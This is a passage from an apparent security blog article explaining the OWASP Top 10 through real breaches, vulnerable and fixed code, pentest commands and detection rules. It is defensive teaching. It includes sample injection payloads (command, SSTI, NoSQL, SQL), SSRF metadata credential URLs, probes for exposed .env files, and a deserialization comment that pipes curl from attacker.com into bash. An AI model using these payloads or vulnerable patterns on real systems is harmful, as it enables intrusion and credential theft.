# Check TLS configuration quality
nmap --script ssl-enum-ciphers -p 443 target.com
# Look for:
# - SSLv2, SSLv3 (broken, deprecated)
# - TLS 1.0, 1.1 (deprecated, disable)
# - RC4, DES, 3DES, EXPORT cipher suites
# - NULL cipher suites
# - Self-signed certificates on production
# testssl.sh is more comprehensive
./testssl.sh https://target.com
```
### Encryption at Rest
```typescript
// VULNERABLE: storing credit card numbers in plaintext
await db.query('INSERT INTO payments (user_id, card_number) VALUES ($1, $2)', [userId, cardNumber]);
// SAFE: tokenize with Stripe/Braintree — never store raw PANs
// The token references the card in the processor's vault
const paymentMethod = await stripe.paymentMethods.create({
type: 'card',
card: { number: cardNumber, exp_month: expMonth, exp_year: expYear, cvc },
});
await db.query('INSERT INTO payments (user_id, stripe_pm_id) VALUES ($1, $2)',
[userId, paymentMethod.id]);
// SAFE: AES-256-GCM for data you need to decrypt later (not passwords)
import { createCipheriv, createDecipheriv, randomBytes } from 'crypto';
const ALGORITHM = 'aes-256-gcm';
const KEY = Buffer.from(process.env.ENCRYPTION_KEY!, 'hex'); // 32 bytes
function encrypt(plaintext: string): { iv: string; tag: string; data: string } {
const iv = randomBytes(12);
const cipher = createCipheriv(ALGORITHM, KEY, iv);
const encrypted = Buffer.concat([cipher.update(plaintext, 'utf8'), cipher.final()]);
return {
iv: iv.toString('hex'),
tag: cipher.getAuthTag().toString('hex'),
data: encrypted.toString('hex'),
};
}
```
Never store encryption keys in the same database as the encrypted data. Use a secrets manager (AWS KMS, HashiCorp Vault, GCP Cloud KMS) where the key never leaves the managed service: you send data, it returns a ciphertext. Even a full database dump is useless without the key.
---
## A03: Injection
Injection vulnerabilities occur when untrusted data is sent to an interpreter as part of a command. SQL injection is the flagship, but the class includes OS command injection, LDAP injection, SSTI (Server-Side Template Injection), XPath injection, and NoSQL injection.
### Real Incident: Heartland Payment Systems (2008)
The Heartland Payment Systems breach remains one of the most significant in financial history. Attackers used SQL injection to gain access to Heartland's payment processing systems, then installed sniffing malware that intercepted 130 million credit and debit card numbers in transit. Total cost: over $140 million in settlements, fines, and remediation. Heartland's CEO said in hindsight the SQL injection vulnerability "could have been caught by a junior developer": the code was concatenating user input directly into queries.
### SQL Injection: Vulnerable vs. Fixed
```python
# VULNERABLE — classic string concatenation
def login(username: str, password: str):
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
return db.execute(query).fetchone()
# Payload: username = admin'--
# Resulting query: SELECT * FROM users WHERE username = 'admin'--' AND password = '...'
# The -- comments out the password check entirely
```
```python
# SAFE — parameterized query
def login(username: str, password: str):
query = "SELECT * FROM users WHERE username = %s AND password_hash = %s"
hashed = hash_password(password)
return db.execute(query, (username, hashed)).fetchone()
```
### OS Command Injection
```python
import subprocess
# VULNERABLE — shell=True with user input
def ping_host(hostname: str):
result = subprocess.run(f"ping -c 4 {hostname}", shell=True, capture_output=True)
return result.stdout.decode()
# Payload: hostname = "8.8.8.8; cat /etc/passwd"
# Executes: ping -c 4 8.8.8.8; cat /etc/passwd
# SAFE — pass as list, no shell expansion
def ping_host(hostname: str):
import re
if not re.match(r'^[a-zA-Z0-9._-]+$', hostname):
raise ValueError("Invalid hostname")
result = subprocess.run(["ping", "-c", "4", hostname], capture_output=True, timeout=10)
return result.stdout.decode()
```
### Server-Side Template Injection (SSTI)
SSTI is injection into a template engine, underestimated in severity, often leads to RCE.
```python
from flask import Flask, render_template_string, request
app = Flask(__name__)
# VULNERABLE — user input directly in template string
@app.route('/greet')
def greet():
name = request.args.get('name', 'World')
return render_template_string(f"Hello {{{{ {name} }}}}!")
# Payload: name={{7*7}} → renders "Hello 49!"
# Payload: name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# → executes arbitrary OS commands
# SAFE — treat user input as data, never template code
@app.route('/greet')
def greet():
name = request.args.get('name', 'World')
return render_template_string("Hello {{ name }}!", name=name)
```
### NoSQL Injection (MongoDB)
```javascript
// VULNERABLE — user input directly in query object
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const user = await db.collection('users').findOne({ username, password });
// Payload: password = { "$gt": "" }
// MongoDB query becomes: { username: "admin", password: { "$gt": "" } }
// "$gt": "" matches any non-empty string — authentication bypass
if (user) res.json({ token: generateToken(user) });
else res.status(401).json({ error: 'Invalid credentials' });
});
// SAFE — validate that input is a string, not an object
import { z } from 'zod';
const loginSchema = z.object({
username: z.string().min(1).max(50),
password: z.string().min(1).max(128),
});
app.post('/login', async (req, res) => {
const parsed = loginSchema.safeParse(req.body);
if (!parsed.success) return res.status(400).json({ error: 'Invalid input' });
const { username, password } = parsed.data;
const user = await db.collection('users').findOne({ username });
if (!user || !verifyPassword(password, user.passwordHash)) {
return res.status(401).json({ error: 'Invalid credentials' });
}
res.json({ token: generateToken(user) });
});
```
---
## A04: Insecure Design
Added in the 2021 list for the first time, Insecure Design addresses architectural security flaws that exist before any code is written. The distinction from other categories: these aren't implementation bugs, they're design decisions that make secure implementation impossible without rethinking the architecture.
### Real Incident: Instagram Account Takeover via PIN Enumeration (2019)
In 2019, researcher Laxman Muthiyah found that Instagram's mobile account recovery sent a 6-digit PIN via SMS. Instagram had implemented rate limiting on the web interface, but the mobile API had no such restriction. By distributing requests across multiple IP addresses, Muthiyah demonstrated he could enumerate all 1,000,000 possible 6-digit combinations in about 1,000 parallel requests per IP across a sufficient IP pool. The design flaw: a 6-digit numeric PIN has only 1 million possible values, trivially enumerable. Instagram paid $30,000 for this report.
### Insecure Password Reset Design
```typescript
// VULNERABLE DESIGN: 6-digit numeric token, no rate limiting, long expiry
async function initiatePasswordReset(email: string) {
const token = Math.floor(100000 + Math.random() * 900000).toString(); // 6-digit numeric
await db.passwordResets.create({
email,
token,
expiresAt: new Date(Date.now() + 24 * 60 * 60 * 1000), // 24 hours — too long
});
await sendEmail(email, `Your reset code is: ${token}`);
}
// No rate limiting on the verification endpoint — attackers can enumerate 1M codes
app.post('/reset/verify', async (req, res) => {
const { email, token } = req.body;
const reset = await db.passwordResets.findOne({ email, token });
if (reset && reset.expiresAt > new Date()) {
// allow password reset
}
});
```
```typescript
// SECURE DESIGN: cryptographically random URL token, short expiry, single-use, rate limited
import { randomBytes } from 'crypto';
import rateLimit from 'express-rate-limit';
const resetRateLimit = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 3, // 3 attempts per IP per 15 minutes
message: 'Too many reset attempts',
});
async function initiatePasswordReset(email: string) {
const token = randomBytes(32).toString('hex'); // 256 bits of entropy
const tokenHash = createHash('sha256').update(token).digest('hex'); // store hash, not raw token
await db.passwordResets.upsert({
email,
tokenHash,
expiresAt: new Date(Date.now() + 15 * 60 * 1000), // 15 minutes
used: false,
});
// Send full token in URL — only works once, expires in 15 min
await sendEmail(email, `Reset link: https://app.com/reset?token=${token}`);
}
app.post('/reset/complete', resetRateLimit, async (req, res) => {
const { token, newPassword } = req.body;
const tokenHash = createHash('sha256').update(token).digest('hex');
const reset = await db.passwordResets.findOne({ tokenHash, used: false });
if (!reset || reset.expiresAt < new Date()) {
return res.status(400).json({ error: 'Invalid or expired token' });
}
// Mark token used before changing password (prevents race conditions)
await db.passwordResets.update({ tokenHash }, { used: true });
await db.users.updatePassword(reset.email, await hashPassword(newPassword));
});
```
Threat modeling is the tool for catching insecure design before code is written. STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) applied to each component in a data flow diagram surfaces the design-level security requirements before implementation begins.
---
## A05: Security Misconfiguration
Security misconfiguration is the broadest category, default credentials, open cloud storage buckets, enabled debug modes, verbose error messages, unnecessary HTTP methods, missing security headers, and default admin panels. It's also the most reliably found by automated scanning.
### Real Incident: Capital One (2019)
The Capital One breach of July 2019 exposed over 100 million credit card applications. The attacker, a former AWS employee, exploited a misconfigured WAF on a Capital One EC2 instance to trigger Server-Side Request Forgery (SSRF) against the AWS EC2 metadata service at `169.254.169.254`. The SSRF returned temporary IAM credentials for the instance's role. That role had overly broad S3 read permissions. The attacker exfiltrated 106 million records. Capital One paid $190 million in settlement and $80 million in regulatory fines. The misconfiguration: an EC2 instance that could reach the metadata service, combined with IAM permissions that were far broader than necessary.
### Common Misconfigurations to Find/Fix
```bash
# Check for exposed admin panels and default paths
nuclei -u https://target.com -t ~/nuclei-templates/exposed-panels/ \
-t ~/nuclei-templates/default-credentials/ \
-t ~/nuclei-templates/misconfiguration/
# Check for open S3 buckets (from target's perspective during pentest)
aws s3 ls s3://target-company-backup --no-sign-request
aws s3 ls s3://target-company-logs --no-sign-request
# Check HTTP methods enabled on web server
curl -X OPTIONS https://target.com -v 2>&1 | grep "Allow:"
# DELETE, PUT, TRACE enabled = misconfiguration
# Check for directory listing
curl https://target.com/backup/
curl https://target.com/.git/
# Check for exposed .env files
curl https://target.com/.env
curl https://target.com/.env.local
```
### Security Headers Audit
```bash
# Check security headers
curl -I https://target.com | grep -E "(X-Frame|X-Content|Content-Security|Strict-Transport|Referrer)"
# Full security header audit
securityheaders.com # web UI
```
```nginx
# Nginx — complete security header configuration
server {
# Strict Transport Security: force HTTPS for 2 years, include subdomains
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
# Prevent clickjacking
add_header X-Frame-Options "DENY" always;
# Prevent MIME sniffing
add_header X-Content-Type-Options "nosniff" always;
# Referrer policy
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# Permissions policy (formerly Feature-Policy)
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
# Content Security Policy — start in report-only mode during rollout
add_header Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data: https:; object-src 'none'; base-uri 'self'; frame-ancestors 'none';" always;
# Disable server version disclosure
server_tokens off;
}
```
### Django Production Checklist
```python
# settings.py — critical production settings
DEBUG = False # NEVER True in production — leaks stack traces, env vars, SQL queries
ALLOWED_HOSTS = ['app.example.com'] # Not ['*']
SECRET_KEY = os.environ.get('DJANGO_SECRET_KEY') # Not hardcoded in source
# Cookie security
SESSION_COOKIE_SECURE = True # Only send over HTTPS
SESSION_COOKIE_HTTPONLY = True # Not accessible to JavaScript
SESSION_COOKIE_SAMESITE = 'Strict'
CSRF_COOKIE_SECURE = True
# HTTPS enforcement
SECURE_SSL_REDIRECT = True
SECURE_HSTS_SECONDS = 63072000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
# Content type sniffing
SECURE_CONTENT_TYPE_NOSNIFF = True
```
---
## A06: Vulnerable and Outdated Components
This category tracks the reality that your application is an iceberg: the code you wrote is the visible tip, and the vast majority is third-party libraries, frameworks, runtime environments, and OS packages. Every dependency you add is code you didn't write and probably haven't read. When those components have known CVEs, you inherit the vulnerability.
### Real Incident: Equifax (2017)
The Equifax breach of September 2017 exposed the personal data of 147 million Americans, names, Social Security numbers, birth dates, addresses, and credit card numbers. The entry point: Apache Struts CVE-2017-5638, a critical RCE vulnerability in the Jakarta Multipart parser. Apache published a patch on March 6, 2017. Equifax was notified of the vulnerability by US-CERT on March 8. The breach began on May 13, 2017, 66 days after the patch was publicly available. Equifax paid $700 million in settlement. The entirely avoidable root cause: a known, patched vulnerability left unpatched for over two months on an internet-facing system.
### Dependency Auditing
```bash
# Node.js — built-in audit
npm audit
npm audit --audit-level=high # fail CI on high+ severity
npm audit fix # auto-fix where possible
npm audit fix --force # includes breaking changes (review carefully)
# Snyk — deeper analysis with license and code scanning
npx snyk test
npx snyk monitor # continuous monitoring
# Python
pip-audit
pip-audit --requirement requirements.txt
# Go
govulncheck ./...
# Java / Maven
mvn dependency-check:check
# Docker image scanning
trivy image myapp:latest
grype myapp:latest
```
### Renovate / Dependabot for Automatic PRs
```yaml
# .github/dependabot.yml — automated dependency updates
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
groups:
development-dependencies:
dependency-type: "development"
- package-ecosystem: "docker"
directory: "/"
schedule:
interval: "weekly"
```
### SBOM Generation
```bash
# Generate a Software Bill of Materials
# CycloneDX format (widely supported)
cyclonedx-npm --output-file sbom.json
# SPDX format
syft myapp:latest -o spdx-json > sbom.spdx.json
# Check SBOM against vulnerability databases
grype sbom:sbom.spdx.json
```
`npm audit` and similar tools only catch vulnerabilities in your direct and transitive dependencies if there's a CVE published against them. Supply chain attacks (malicious packages with no CVE) require different controls: verify package integrity with lockfiles, enable 2FA on npm/PyPI accounts, and monitor for typosquatting against your frequently-used packages.
---
## A07: Identification and Authentication Failures
This category covers the full failure space of proving identity: accepting weak passwords, not rate-limiting login attempts, using insecure session tokens, failing to invalidate sessions after password change, and not supporting MFA.
### Real Incident: Dropbox (2012): Credential Stuffing at Scale
Dropbox's 2012 breach wasn't discovered until 2016 when 68 million password hashes appeared on the dark web. The entry point: a Dropbox employee's password had been included in the LinkedIn breach. The attacker used that credential to log into the employee's Dropbox account. That account had access to a document containing Dropbox customer email addresses, which were then targeted in a spear-phishing campaign. Bcrypt hashes in the dump are still largely uncracked. SHA-1 hashes in the same dump: majority cracked within days of publication.
### Rate Limiting and Account Lockout
```typescript
import rateLimit from 'express-rate-limit';
import slowDown from 'express-slow-down';
// Rate limit: 5 attempts per 15 minutes per IP
const loginRateLimit = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5,
skipSuccessfulRequests: true, // only count failures
handler: (req, res) => {
res.status(429).json({
error: 'Too many login attempts. Try again in 15 minutes.',
});
},
});
// Speed limiter: progressive slowdown before hard block
const loginSlowDown = slowDown({
windowMs: 15 * 60 * 1000,
delayAfter: 2, // no delay for first 2 requests
delayMs: 500, // add 500ms per attempt after that
maxDelayMs: 10000, // max 10 second delay
});
app.post('/auth/login', loginSlowDown, loginRateLimit, async (req, res) => {
const { email, password } = loginSchema.parse(req.body);
// Constant-time response to prevent user enumeration
const user = await db.users.findOne({ email });
const valid = user ? await bcrypt.compare(password, user.passwordHash) : false;
// Always run bcrypt.compare even for non-existent users
// to prevent timing-based user enumeration
if (!valid) {
await logFailedAttempt(email, req.ip);
return res.status(401).json({ error: 'Invalid email or password' });
}
await logSuccessfulLogin(user.id, req.ip);
const token = generateSessionToken();
await createSession(user.id, token, req.ip);
res.cookie('session', token, {
httpOnly: true,
secure: true,
sameSite: 'Strict',
maxAge: 60 * 60 * 1000, // 1 hour
});
return res.json({ success: true });
});
```
### TOTP-Based MFA Implementation
```typescript
import * as OTPAuth from 'otpauth';
import QRCode from 'qrcode';
// Generate TOTP secret for user enrollment
async function enrollMFA(userId: string) {
const secret = new OTPAuth.Secret({ size: 20 });
const totp = new OTPAuth.TOTP({
issuer: 'YourApp',
label: userEmail,
algorithm: 'SHA1',
digits: 6,
period: 30,
secret,
});
const otpauthUrl = totp.toString();
const qrCodeDataUrl = await QRCode.toDataURL(otpauthUrl);
// Store encrypted secret — never plaintext
await db.users.update(userId, {
totpSecret: encrypt(secret.base32),
totpEnabled: false, // enable only after successful verification
});
return { qrCode: qrCodeDataUrl, secret: secret.base32 };
}
// Verify TOTP token during login
async function verifyMFA(userId: string, token: string): Promise {
const user = await db.users.findOne({ id: userId });
const secret = decrypt(user.totpSecret);
const totp = new OTPAuth.TOTP({ secret: OTPAuth.Secret.fromBase32(secret) });
// window: 1 allows for ±30 seconds of clock drift
const delta = totp.validate({ token, window: 1 });
return delta !== null;
}
```
---
## A08: Software and Data Integrity Failures
New in the 2021 edition, this category covers CI/CD pipeline attacks, insecure deserialization, and the use of unsigned or unverified software components. The SolarWinds supply chain attack made this category concrete in a way that no previous list item had.
### Real Incident: SolarWinds Orion (2020)
In December 2020, FireEye discovered that SolarWinds Orion: IT monitoring software used by 33,000 organizations including 425 of the Fortune 500, all major US government agencies, and most major telcos, had been backdoored. The attackers (later attributed to Russia's SVR, tracked as APT29/Cozy Bear) compromised SolarWinds' build pipeline and injected malicious code into the Orion software update, which was then cryptographically signed by SolarWinds and distributed to customers. The backdoor was active for at least 8 months before discovery. Affected organizations: US Treasury, Commerce Department, State Department, DHS, NSC, and approximately 18,000 others who installed the trojanized update. Remediation costs across all affected organizations: estimated $100 billion.
### Insecure Deserialization
```javascript
// VULNERABLE — node-serialize IIFE exploit
const serialize = require('node-serialize');
app.post('/profile', (req, res) => {
// User-supplied cookie value deserialized directly
const userObj = serialize.unserialize(req.cookies.profile);
// If profile = {"user":"_$$ND_FUNC$$_function(){require('child_process').exec('curl attacker.com/shell.sh|bash')}()"}
// The IIFE executes during deserialization — RCE
res.json(userObj);
});
// SAFE — use JSON.parse with schema validation instead of unsafe deserializers
const profileSchema = z.object({
userId: z.string().uuid(),
preferences: z.object({ theme: z.enum(['light', 'dark']) }).optional(),
});
app.post('/profile', (req, res) => {
const raw = JSON.parse(req.cookies.profile); // JSON.parse doesn't execute code
const profile = profileSchema.parse(raw); // validate structure and types
res.json(profile);
});
```
### Subresource Integrity
```html
```
```bash
# Generate SRI hash
curl -s https://cdn.example.com/lib.js | openssl dgst -sha384 -binary | openssl base64 -A
# Output: sha384- — use this as the integrity value
```
---
## A09: Security Logging and Monitoring Failures
The OWASP Top 10 notes that the average time to detect a breach is over 200 days. That's not because breaches are subtle: most involve recognizable patterns like repeated authentication failures, unusual database queries, or data exfiltration. It's because logging is either absent, too noisy to act on, or not reviewed.
### What to Log
```typescript
// Authentication events
logger.info('auth.login.success', {
userId: user.id,
ip: req.ip,
userAgent: req.headers['user-agent'],
timestamp: new Date().toISOString(),
// Never log: password, session token, PII beyond userId
});
logger.warn('auth.login.failure', {
email: sanitizeForLog(email), // hash or truncate if PII
ip: req.ip,
userAgent: req.headers['user-agent'],
reason: 'invalid_credentials', // not 'user_not_found' — prevents user enumeration in logs
timestamp: new Date().toISOString(),
});
// Access control violations
logger.error('authz.violation', {
userId: req.user?.id,
attemptedResource: req.path,
attemptedMethod: req.method,
ip: req.ip,
timestamp: new Date().toISOString(),
});
// Input validation failures — these can indicate active attack
logger.warn('validation.failure', {
field: 'username',
ip: req.ip,
reason: 'invalid_format',
timestamp: new Date().toISOString(),
// Don't log the actual malicious input — could be used for log injection
});
```
### Detection Rules in Structured Logs
```python
# Splunk SPL — detect brute force
index=app_logs source="auth.login.failure"
| stats count by ip, _time span=15m
| where count > 10
| alert action=email
# Splunk SPL — detect credential stuffing (many users, one IP)
index=app_logs source="auth.login.failure"
| stats dc(email) as unique_accounts, count by ip
| where unique_accounts > 20 AND count > 50
| table ip, unique_accounts, count
# Splunk SPL — detect impossible travel
index=app_logs source="auth.login.success"
| stats earliest(_time) as first_login, latest(_time) as last_login,
values(geo_country) as countries, dc(geo_country) as country_count
by userId
| where country_count > 1 AND (last_login - first_login) < 3600
```
Never log raw passwords, session tokens, credit card numbers, or full Social Security numbers. Logs are often stored with weaker access controls than your production database, and log aggregation pipelines frequently traverse multiple systems. A single logged password can compromise an account permanently if the user reuses credentials.
---
## A10: Server-Side Request Forgery (SSRF)
SSRF moved onto the 2021 list for the first time, driven by the widespread adoption of cloud architectures where the metadata service at `169.254.169.254` (AWS, Azure, GCP) is reachable from any EC2/VM instance. SSRF exploits the server's ability to make outbound requests: an attacker tricks the server into fetching URLs the attacker specifies, reaching internal services, cloud metadata endpoints, or other back-end infrastructure not exposed to the public internet.
### Real Incident: Capital One (2019): Revisited as SSRF
The same 2019 Capital One breach described under A05 was triggered via SSRF. The vulnerability: a misconfigured WAF allowed HTTP requests with a `Host` header pointing to `169.254.169.254`. The WAF forwarded these requests to the EC2 metadata service and relayed the response. The attacker retrieved temporary IAM credentials with:
```
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
The response contained the IAM role name. A second request to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` returned:
```json
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-07-19T18:38:44Z"
}
```
With those credentials, the attacker listed and downloaded 100 million S3 records.
### SSRF in Webhook Endpoints
```typescript
// VULNERABLE — no validation of user-supplied URL
app.post('/api/webhooks', authenticate, async (req, res) => {
const { url, events } = req.body;
await db.webhooks.create({ userId: req.user.id, url, events });
// When an event fires, the server fetches this URL
// Attacker sets url = "http://169.254.169.254/latest/meta-data/"
// or url = "http://internal-admin.company.internal/admin/users"
// or url = "file:///etc/passwd" (if fetch supports file: scheme)
});
```
```typescript
import { URL } from 'url';
import dns from 'dns/promises';
// SAFE — SSRF prevention with allowlist and internal IP blocking
async function isSafeWebhookUrl(input: string): Promise {
let parsed: URL;
try {
parsed = new URL(input);
} catch {
return false;
}
// Only allow HTTPS
if (parsed.protocol !== 'https:') return false;
// Block non-standard ports
const port = parseInt(parsed.port || '443');
if (![443, 8443].includes(port)) return false;
// Resolve hostname and check resolved IPs
let addresses: string[];
try {
addresses = (await dns.resolve4(parsed.hostname))
.concat(await dns.resolve6(parsed.hostname).catch(() => []));
} catch {
return false;
}
const privateRanges = [
/^127\./,
/^10\./,
/^172\.(1[6-9]|2[0-9]|3[0-1])\./,
/^192\.168\./,
/^169\.254\./, // link-local / AWS metadata
/^::1$/, // IPv6 loopback
/^fc00:/, // IPv6 unique local
/^fe80:/, // IPv6 link-local
];
for (const addr of addresses) {
if (privateRanges.some(r => r.test(addr))) return false;
}
return true;
}
app.post('/api/webhooks', authenticate, async (req, res) => {
const { url, events } = req.body;
if (!await isSafeWebhookUrl(url)) {
return res.status(400).json({ error: 'URL not permitted' });
}
await db.webhooks.create({ userId: req.user.id, url, events });
return res.json({ success: true });
});
```
DNS rebinding attacks can bypass hostname-based SSRF filters: resolve the hostname before making the request, and re-verify that the resolved IP hasn't changed between validation and the actual fetch. Even better: use an egress proxy or a dedicated outbound HTTP client that enforces connection-level blocking of RFC 1918 addresses, so the protection operates at the network layer rather than the application layer.
---
## Applying the OWASP Top 10 in Practice
### For Developers
Run through this checklist for every feature that touches user data or external input:
| Check | Prevents |
|---|---|
| Every DB query uses parameterized statements | A03: Injection |
| Resource queries include `userId = session.userId` | A01: Broken Access Control |
| Passwords hashed with bcrypt/argon2 (cost ≥ 12) | A02: Cryptographic Failures |
| User-supplied values never reach `eval()`, `innerHTML`, or template strings | A03: Injection, A03: SSTI |
| Password reset tokens are 256-bit random, single-use, expire in ≤ 15 min | A04: Insecure Design |
| DEBUG/verbose errors disabled in production | A05: Security Misconfiguration |
| `npm audit` / `pip-audit` runs in CI | A06: Vulnerable Components |
| Login endpoints are rate-limited | A07: Auth Failures |
| Dependencies verified with lockfiles and checksums | A08: Integrity Failures |
| Auth events, ACL violations, and validation failures are logged | A09: Logging Failures |
| User-supplied URLs are validated and blocked for internal IPs | A10: SSRF |
### For Pentesters
Map findings to OWASP categories in every report. It's the vocabulary clients and development teams understand, it provides remediation context, and it anchors severity ratings.
Priority order for manual testing time:
1. A01 (Broken Access Control), test every resource endpoint for IDOR and privilege escalation
2. A03 (Injection), test every user input that touches a database or system command
3. A10 (SSRF), test any feature that fetches URLs or makes outbound HTTP requests
4. A02 (Cryptographic Failures), inspect password storage, TLS configuration, token entropy
5. A07 (Auth Failures), test rate limiting, MFA enforcement, session invalidation
The OWASP Testing Guide (OTG) provides detailed test cases for every category. The PortSwigger Web Security Academy provides free labs mapped to each finding. Work through both before telling a client their application is secure, and for the deeper principles behind these categories, the foundational security reading in [the security canon](/the-security-canon) is the next step.
## How the OWASP Top 10 Changed Over Time
The list is not static, and the movement between editions tells a story about where defenses succeed and fail. Injection held the top position for roughly a decade, through the 2010, 2013, and 2017 editions. Its slide to third place in 2021 does not mean injection disappeared. Parameterized queries and mature framework defaults made the classic cases rarer, so the category's prevalence across tested applications fell relative to others.
Broken Access Control rose to the top in 2021 for the opposite reason. Access control is application-specific logic that frameworks cannot supply for you, so every team reimplements it, and every team makes mistakes. The 2021 edition also introduced three new categories that reflected how software is built now: Insecure Design, Software and Data Integrity Failures, and Server-Side Request Forgery. Each entered because the industry moved toward cloud architectures, heavy dependency trees, and continuous delivery pipelines, and the attack surface followed. Reading the deltas between editions is a fast way to see which defenses are becoming standard and which failure modes are newly important.
## How the Categories Relate
The ten categories are not isolated. Real breaches usually chain several of them, and understanding the connections helps you prioritize. The table below shows how the categories commonly interact.
| Category | Frequently chains with | Why they connect |
|---|---|---|
| Broken Access Control | Injection, SSRF | An access gap plus an injectable parameter multiplies impact |
| Cryptographic Failures | Auth Failures | Weak password hashing turns any database leak into account takeover |
| Injection | Security Misconfiguration | Verbose errors reveal the query structure an injection needs |
| Insecure Design | Auth Failures | A flawed reset flow cannot be fixed by better code alone |
| Security Misconfiguration | SSRF | An exposed metadata endpoint plus a fetch feature yields credentials |
| Vulnerable Components | Integrity Failures | An unverified dependency is both outdated and untrusted |
| Logging Failures | Every other category | Without logs, every other failure goes undetected for months |
The lesson from the chains is that severity is rarely about a single flaw. A medium access-control gap becomes critical when it exposes a parameter that reaches an internal service, and a database leak becomes catastrophic when the passwords inside were hashed with a fast algorithm. When you rate a finding, weigh what it unlocks in combination with other flaws, and consider its full chained impact rather than its effect in isolation.
## Detection Signals: Finding These Flaws in Your Own Application
You can surface most of these categories without a full pentest by watching for concrete signals in your own code and traffic. For broken access control, look for any resource query that filters on an identifier taken from the request without also filtering on the authenticated user. For injection, search the codebase for string concatenation that builds a query, command, or template from request data. For cryptographic failures, grep for hashing calls that use MD5, SHA-1, or a single pass of SHA-256 on a password.
Runtime signals matter too. A spike in 403 responses across sequential resource identifiers suggests someone enumerating an access-control gap. A surge of requests carrying SQL metacharacters, template syntax, or path traversal sequences points at active probing. Outbound requests from your application servers to internal address ranges or to the cloud metadata address are a strong SSRF signal and should be alerted on directly. The common thread is that each category leaves a recognizable trace in either the source or the logs, which is why structured logging of authentication events, access-control denials, and validation failures is foundational to catching the rest.
## Common Misconceptions
A few beliefs about the OWASP Top 10 lead teams astray. The first is that a passing automated scan means the application is secure. Scanners are strong at pattern-based flaws like reflected injection and weak at access control, business logic, and design flaws, which are exactly the categories that dominate the current list. The second is that the Top 10 is a complete security standard. It is an awareness document of the most common risks, and comprehensive coverage requires the full OWASP Application Security Verification Standard rather than the ten headline categories.
A third misconception is that a web application firewall closes these categories. A WAF reduces opportunistic exploitation of injection and scripting, and it does nothing for broken access control, insecure design, or cryptographic storage choices, because those failures live in application logic the WAF never evaluates. The fourth is that the ordering implies effort allocation. The rank reflects prevalence and impact across many applications, and your own risk depends on your architecture, so a payments API may need to prioritize cryptographic and access-control work regardless of the published order.
## Frequently Asked Questions
**Does the OWASP Top 10 apply to APIs as well as web pages?**
The categories apply broadly, and OWASP also publishes a separate API Security Top 10 that reframes the same risks for machine-to-machine interfaces, where broken object level authorization (the API form of IDOR) is the leading issue. If you build APIs, read both lists, since the API document adds risks like excessive data exposure that the general list does not emphasize.
**How is the list actually compiled?**
Contributing organizations submit anonymized vulnerability data covering large numbers of applications, and OWASP combines that with an industry survey to capture emerging risks that data alone would lag on. Categories are ranked by a mix of prevalence, detectability, and impact, which is why a less frequent but severe class can still place highly.
**Is Insecure Design just another name for a bug?**
No. An implementation bug is a mistake in code that correct code would avoid. Insecure Design is a flaw in the plan itself, such as a recovery flow that relies on a short numeric code, where no amount of careful coding fixes the underlying weakness. Catching it requires threat modeling before implementation, not code review after.
**Why did SSRF get its own category in 2021?**
Cloud adoption made SSRF far more damaging. The metadata service reachable from inside most cloud instances returns credentials to any code that can make it issue a request, so a single server-side fetch of an attacker-chosen URL can yield working cloud credentials. That shift in impact earned the class a dedicated place on the list.
**Should developers or security teams own remediation?**
Both, at different points. Developers own the fixes, because the flaws live in code and design they control. Security teams own the verification, the threat modeling that surfaces design issues early, and the tooling in the pipeline that catches regressions. The categories are most effectively closed when both groups share the same vocabulary from this list.
## Related guides
- [SQL Injection Explained: How It Works and How to Stop It](/sql-injection-explained)
- [Cross-Site Scripting (XSS): Attack Types and Prevention](/xss-attacks-explained)
- [Secure Coding Practices Every Developer Should Know](/secure-coding-practices)
- [AI Prompt Injection Attacks Explained](/ai-prompt-injection-attacks)
- [Zero-Day Vulnerabilities: What They Are and Why They Matter](/zero-day-vulnerabilities)
### Sources
- OWASP Top Ten Project (OWASP): https://owasp.org/www-project-top-ten/
- OWASP Web Security Testing Guide (OWASP): https://owasp.org/www-project-web-security-testing-guide/
- NIST SP 800-63B: Digital Identity Guidelines: Authentication (NIST): https://csrc.nist.gov/publications/detail/sp/800-63b/final
---
## Secure Coding Practices Every Developer Should Know
> Most vulnerabilities come from code. The secure coding principles that prevent injection, auth flaws and data exposure, with examples in multiple languages.
- URL: https://blog.pwnsy.com/secure-coding-practices
- Date: 2026-03-11
- Updated: 2026-04-08
- Difficulty: intermediate
- Category: web-security
- Tags: secure-coding, web-security, owasp, input-validation, authentication
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- Validate all external input with strict type, range, and format checks. Client-side validation is a user-experience feature that provides no security guarantee on its own.
- Use parameterized queries for every database call; string-concatenated SQL is never acceptable regardless of language or framework.
- Hash passwords with bcrypt (rounds >= 12) or Argon2id; MD5, SHA-1, and SHA-256 are too fast and are not appropriate for passwords.
- Check authorization server-side on every request, including resource-level ownership checks, not just UI-level hiding.
### Key Takeaways
- Nearly every major data breach traces back to an ordinary coding mistake, not an exotic exploit requiring nation-state resources.
- The Checks-Effects-Interactions pattern, parameterized queries, and context-aware output encoding together eliminate the majority of high-severity web vulnerabilities.
- Secrets hardcoded in source code must be treated as compromised immediately; even a brief commit to a private repository is enough.
- Authorization must be enforced at the API layer on every request. Hiding UI elements from unauthorized users provides no protection by itself.
